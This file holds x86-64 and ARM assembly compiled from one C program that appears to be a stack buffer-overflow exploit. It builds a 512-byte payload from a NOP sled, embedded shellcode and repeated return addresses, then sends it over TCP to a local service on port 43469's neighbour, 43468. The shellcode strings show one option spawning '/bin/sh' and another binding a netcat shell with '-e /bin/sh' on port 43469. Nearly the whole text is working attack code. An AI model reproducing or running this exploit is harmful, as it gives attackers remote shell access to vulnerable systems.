	.file	"445973.c"
	.intel_syntax noprefix
	.text
	.section	.rodata
	.align 8
.LC0:
	.string	"Specify exploit type with -l or -r"
.LC1:
	.string	"-l"
.LC2:
	.string	"-r"
	.align 8
.LC3:
	.string	"Unrecognized exploit type; Use -l or -r"
.LC4:
	.string	"Connect failed"
	.text
	.globl	main
	.type	main, @function
main:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 752
	mov	DWORD PTR -740[rbp], edi
	mov	QWORD PTR -752[rbp], rsi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	movabs	rax, 5967886382499115408
	movabs	rdx, 527915270011575275
	mov	QWORD PTR -656[rbp], rax
	mov	QWORD PTR -648[rbp], rdx
	movabs	rax, 167627299821931499
	movabs	rdx, 383800081935710443
	mov	QWORD PTR -640[rbp], rax
	mov	QWORD PTR -632[rbp], rdx
	movabs	rax, 239684893859850219
	movabs	rdx, 1104376022314978027
	mov	QWORD PTR -624[rbp], rax
	mov	QWORD PTR -616[rbp], rdx
	movabs	rax, -15494081027703
	movabs	rdx, 7593684090309914623
	mov	QWORD PTR -608[rbp], rax
	mov	QWORD PTR -600[rbp], rdx
	movabs	rax, 8386093332709650286
	movabs	rdx, 7795168005022083073
	mov	QWORD PTR -592[rbp], rax
	mov	QWORD PTR -584[rbp], rdx
	movabs	rax, 3819052483001975152
	movabs	rdx, -22262906184387533
	mov	QWORD PTR -576[rbp], rax
	mov	QWORD PTR -568[rbp], rdx
	movabs	rax, -26766505074098177
	movabs	rdx, 8299974037165047807
	mov	QWORD PTR -560[rbp], rax
	mov	QWORD PTR -552[rbp], rdx
	mov	WORD PTR -544[rbp], 360
	movabs	rax, 842384448532048784
	movabs	rdx, -8551401076026715599
	mov	QWORD PTR -688[rbp], rax
	mov	QWORD PTR -680[rbp], rdx
	movabs	rax, -86293557791
	movabs	rdx, 101457639168893487
	mov	QWORD PTR -672[rbp], rax
	mov	QWORD PTR -664[rbp], rdx
	mov	QWORD PTR -712[rbp], 0
	mov	DWORD PTR -724[rbp], 0
	cmp	DWORD PTR -740[rbp], 2
	je	.L2
	lea	rdi, .LC0[rip]
	call	puts@PLT
	mov	eax, 0
	jmp	.L17
.L2:
	mov	rax, QWORD PTR -752[rbp]
	add	rax, 8
	mov	rax, QWORD PTR [rax]
	mov	edx, 2
	lea	rsi, .LC1[rip]
	mov	rdi, rax
	call	strncmp@PLT
	test	eax, eax
	jne	.L4
	lea	rax, -688[rbp]
	mov	QWORD PTR -712[rbp], rax
	mov	DWORD PTR -724[rbp], 196
	jmp	.L5
.L4:
	mov	rax, QWORD PTR -752[rbp]
	add	rax, 8
	mov	rax, QWORD PTR [rax]
	mov	edx, 2
	lea	rsi, .LC2[rip]
	mov	rdi, rax
	call	strncmp@PLT
	test	eax, eax
	jne	.L6
	lea	rax, -656[rbp]
	mov	QWORD PTR -712[rbp], rax
	mov	DWORD PTR -724[rbp], 114
	jmp	.L5
.L6:
	lea	rdi, .LC3[rip]
	call	puts@PLT
	mov	eax, 0
	jmp	.L17
.L5:
	mov	DWORD PTR -732[rbp], 0
	jmp	.L7
.L8:
	mov	eax, DWORD PTR -732[rbp]
	cdqe
	mov	BYTE PTR -528[rbp+rax], -112
	add	DWORD PTR -732[rbp], 1
.L7:
	mov	eax, DWORD PTR -732[rbp]
	cmp	eax, DWORD PTR -724[rbp]
	jl	.L8
	jmp	.L9
.L10:
	mov	eax, DWORD PTR -732[rbp]
	sub	eax, DWORD PTR -724[rbp]
	movsx	rdx, eax
	mov	rax, QWORD PTR -712[rbp]
	add	rax, rdx
	movzx	edx, BYTE PTR [rax]
	mov	eax, DWORD PTR -732[rbp]
	cdqe
	mov	BYTE PTR -528[rbp+rax], dl
	add	DWORD PTR -732[rbp], 1
.L9:
	cmp	DWORD PTR -732[rbp], 227
	jle	.L10
	mov	DWORD PTR -728[rbp], 0
	jmp	.L11
.L12:
	mov	eax, DWORD PTR -732[rbp]
	lea	edx, 1[rax]
	mov	DWORD PTR -732[rbp], edx
	cdqe
	mov	BYTE PTR -528[rbp+rax], 64
	mov	eax, DWORD PTR -732[rbp]
	lea	edx, 1[rax]
	mov	DWORD PTR -732[rbp], edx
	cdqe
	mov	BYTE PTR -528[rbp+rax], -7
	mov	eax, DWORD PTR -732[rbp]
	lea	edx, 1[rax]
	mov	DWORD PTR -732[rbp], edx
	cdqe
	mov	BYTE PTR -528[rbp+rax], -1
	mov	eax, DWORD PTR -732[rbp]
	lea	edx, 1[rax]
	mov	DWORD PTR -732[rbp], edx
	cdqe
	mov	BYTE PTR -528[rbp+rax], -65
	add	DWORD PTR -728[rbp], 1
.L11:
	cmp	DWORD PTR -728[rbp], 7
	jle	.L12
	jmp	.L13
.L14:
	mov	eax, DWORD PTR -732[rbp]
	cdqe
	mov	BYTE PTR -528[rbp+rax], 0
	add	DWORD PTR -732[rbp], 1
.L13:
	cmp	DWORD PTR -732[rbp], 511
	jle	.L14
	lea	rax, -704[rbp]
	mov	edx, 16
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	WORD PTR -704[rbp], 2
	mov	edi, 43468
	call	htons@PLT
	mov	WORD PTR -702[rbp], ax
	mov	DWORD PTR -700[rbp], 16777343
	mov	edx, 6
	mov	esi, 1
	mov	edi, 2
	call	socket@PLT
	mov	DWORD PTR -720[rbp], eax
	lea	rcx, -704[rbp]
	mov	eax, DWORD PTR -720[rbp]
	mov	edx, 16
	mov	rsi, rcx
	mov	edi, eax
	call	connect@PLT
	mov	DWORD PTR -716[rbp], eax
	cmp	DWORD PTR -716[rbp], 0
	jns	.L15
	lea	rdi, .LC4[rip]
	call	perror@PLT
	jmp	.L16
.L15:
	lea	rcx, -528[rbp]
	mov	eax, DWORD PTR -720[rbp]
	mov	edx, 512
	mov	rsi, rcx
	mov	edi, eax
	call	write@PLT
.L16:
	mov	eax, DWORD PTR -720[rbp]
	mov	edi, eax
	call	close@PLT
	mov	eax, 0
.L17:
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L18
	call	__stack_chk_fail@PLT
.L18:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE6:
	.size	main, .-main
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"445973.c"
	.text
	.section	.rodata
	.align	2
.LC2:
	.ascii	"Specify exploit type with -l or -r\000"
	.align	2
.LC3:
	.ascii	"-l\000"
	.align	2
.LC4:
	.ascii	"-r\000"
	.align	2
.LC5:
	.ascii	"Unrecognized exploit type; Use -l or -r\000"
	.align	2
.LC6:
	.ascii	"Connect failed\000"
	.align	2
.LC0:
	.ascii	"\2201\300\260\0131\322R\353[\213\034$\210S\007\353K"
	.ascii	"\213\034$\210S\002\3538\213\034$\210S\005\353'\213\034"
	.ascii	"$\210S\003\353\012\213\034$\210S\017\211\341\315\200"
	.ascii	"\350\361\377\377\377/usr/bin/netcat\001\350\324\377"
	.ascii	"\377\377-lp\001\350\303\377\377\37743469\001\350\260"
	.ascii	"\377\377\377-e\001\350\240\377\377\377/bin/sh\001"
	.align	2
.LC1:
	.ascii	"\220\353\020[1\300\260\0131\322\210S\007RS\211\341\315"
	.ascii	"\200\350\353\377\377\377/bin/sh\001"
	.align	2
.LC7:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 712
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #712
	str	r0, [fp, #-712]
	str	r1, [fp, #-716]
	ldr	r3, .L19
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	ldr	r2, .L19+4
	sub	r3, fp, #636
	mov	r1, r2
	mov	r2, #114
	mov	r0, r3
	bl	memcpy
	ldr	r3, .L19+8
	sub	ip, fp, #668
	mov	lr, r3
	ldmia	lr!, {r0, r1, r2, r3}
	stmia	ip!, {r0, r1, r2, r3}
	ldm	lr, {r0, r1, r2, r3}
	stm	ip, {r0, r1, r2, r3}
	mov	r3, #0
	str	r3, [fp, #-700]
	mov	r3, #0
	str	r3, [fp, #-696]
	ldr	r3, [fp, #-712]
	cmp	r3, #2
	beq	.L2
	ldr	r0, .L19+12
	bl	puts
	mov	r3, #0
	b	.L17
.L2:
	ldr	r3, [fp, #-716]
	add	r3, r3, #4
	ldr	r3, [r3]
	mov	r2, #2
	ldr	r1, .L19+16
	mov	r0, r3
	bl	strncmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L4
	sub	r3, fp, #668
	str	r3, [fp, #-700]
	mov	r3, #196
	str	r3, [fp, #-696]
	b	.L5
.L4:
	ldr	r3, [fp, #-716]
	add	r3, r3, #4
	ldr	r3, [r3]
	mov	r2, #2
	ldr	r1, .L19+20
	mov	r0, r3
	bl	strncmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L6
	sub	r3, fp, #636
	str	r3, [fp, #-700]
	mov	r3, #114
	str	r3, [fp, #-696]
	b	.L5
.L6:
	ldr	r0, .L19+24
	bl	puts
	mov	r3, #0
	b	.L17
.L5:
	mov	r3, #0
	str	r3, [fp, #-708]
	b	.L7
.L8:
	sub	r2, fp, #520
	ldr	r3, [fp, #-708]
	add	r3, r2, r3
	mvn	r2, #111
	strb	r2, [r3]
	ldr	r3, [fp, #-708]
	add	r3, r3, #1
	str	r3, [fp, #-708]
.L7:
	ldr	r2, [fp, #-708]
	ldr	r3, [fp, #-696]
	cmp	r2, r3
	blt	.L8
	b	.L9
.L10:
	ldr	r2, [fp, #-708]
	ldr	r3, [fp, #-696]
	sub	r3, r2, r3
	mov	r2, r3
	ldr	r3, [fp, #-700]
	add	r3, r3, r2
	ldrb	r1, [r3]	@ zero_extendqisi2
	sub	r2, fp, #520
	ldr	r3, [fp, #-708]
	add	r3, r2, r3
	mov	r2, r1
	strb	r2, [r3]
	ldr	r3, [fp, #-708]
	add	r3, r3, #1
	str	r3, [fp, #-708]
.L9:
	ldr	r3, [fp, #-708]
	cmp	r3, #227
	ble	.L10
	mov	r3, #0
	str	r3, [fp, #-704]
	b	.L11
.L12:
	ldr	r3, [fp, #-708]
	add	r2, r3, #1
	str	r2, [fp, #-708]
	sub	r2, fp, #4
	add	r3, r2, r3
	mov	r2, #64
	strb	r2, [r3, #-516]
	ldr	r3, [fp, #-708]
	add	r2, r3, #1
	str	r2, [fp, #-708]
	sub	r2, fp, #4
	add	r3, r2, r3
	mvn	r2, #6
	strb	r2, [r3, #-516]
	ldr	r3, [fp, #-708]
	add	r2, r3, #1
	str	r2, [fp, #-708]
	sub	r2, fp, #4
	add	r3, r2, r3
	mvn	r2, #0
	strb	r2, [r3, #-516]
	ldr	r3, [fp, #-708]
	add	r2, r3, #1
	str	r2, [fp, #-708]
	sub	r2, fp, #4
	add	r3, r2, r3
	mvn	r2, #64
	strb	r2, [r3, #-516]
	ldr	r3, [fp, #-704]
	add	r3, r3, #1
	str	r3, [fp, #-704]
.L11:
	ldr	r3, [fp, #-704]
	cmp	r3, #7
	ble	.L12
	b	.L13
.L14:
	sub	r2, fp, #520
	ldr	r3, [fp, #-708]
	add	r3, r2, r3
	mov	r2, #0
	strb	r2, [r3]
	ldr	r3, [fp, #-708]
	add	r3, r3, #1
	str	r3, [fp, #-708]
.L13:
	ldr	r3, [fp, #-708]
	cmp	r3, #512
	blt	.L14
	sub	r3, fp, #684
	mov	r2, #16
	mov	r1, #0
	mov	r0, r3
	bl	memset
	sub	r3, fp, #4
	sub	r3, r3, #680
	mov	r2, #2
	strh	r2, [r3]	@ movhi
	ldr	r0, .L19+28
	bl	htons
	mov	r3, r0
	mov	r2, r3
	sub	r3, fp, #4
	sub	r3, r3, #680
	strh	r2, [r3, #2]	@ movhi
	ldr	r3, .L19+32
	str	r3, [fp, #-680]
	mov	r2, #6
	mov	r1, #1
	mov	r0, #2
	bl	socket
	str	r0, [fp, #-692]
	sub	r3, fp, #684
	mov	r2, #16
	mov	r1, r3
	ldr	r0, [fp, #-692]
	bl	connect
	str	r0, [fp, #-688]
	ldr	r3, [fp, #-688]
	cmp	r3, #0
	bge	.L15
	ldr	r0, .L19+36
	bl	perror
	b	.L16
.L15:
	sub	r3, fp, #520
	mov	r2, #512
	mov	r1, r3
	ldr	r0, [fp, #-692]
	bl	write
.L16:
	ldr	r0, [fp, #-692]
	bl	close
	mov	r3, #0
.L17:
	ldr	r2, .L19
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L18
	bl	__stack_chk_fail
.L18:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L20:
	.align	2
.L19:
	.word	.LC7
	.word	.LC0
	.word	.LC1
	.word	.LC2
	.word	.LC3
	.word	.LC4
	.word	.LC5
	.word	43468
	.word	16777343
	.word	.LC6
	.size	main, .-main
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
